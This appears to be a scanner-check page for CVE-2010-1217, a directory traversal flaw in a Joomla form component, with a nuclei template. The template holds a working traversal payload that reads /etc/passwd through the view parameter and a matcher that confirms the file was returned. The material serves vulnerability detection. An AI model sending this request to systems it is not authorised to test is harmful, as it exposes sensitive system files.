Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion

mediumseverity

4.3CVSS score

6.4%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the JE Form Creator (com_jeformcr) component for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via directory traversal sequences in the view parameter to index.php. NOTE -- the original researcher states that the affected product is JE Tooltip, not Form Creator; however, the exploit URL suggests that Form Creator is affected.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.

Fix

Apply all relevant security patches and product upgrades.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_jeformcr&view=../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1217 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1217

info:
  name: Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JE Form Creator (com_jeformcr) component for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via directory traversal sequences in the view parameter to index.php. NOTE -- the original researcher states that the affected product is JE Tooltip, not Form Creator; however, the exploit URL suggests that Form Creator is affected.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11814
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1217
    - http://www.packetstormsecurity.org/1003-exploits/joomlajetooltip-lfi.txt
    - http://www.exploit-db.com/exploits/11814
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2010-1217
    cwe-id: CWE-22
    epss-score: 0.06377
    epss-percentile: 0.93715
    cpe: cpe:2.3:a:je_form_creator:je_form_creator:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: je_form_creator
    product: je_form_creator
  tags: cve,cve2010,edb,packetstorm,joomla,lfi,plugin,je_form_creator,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jeformcr&view=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from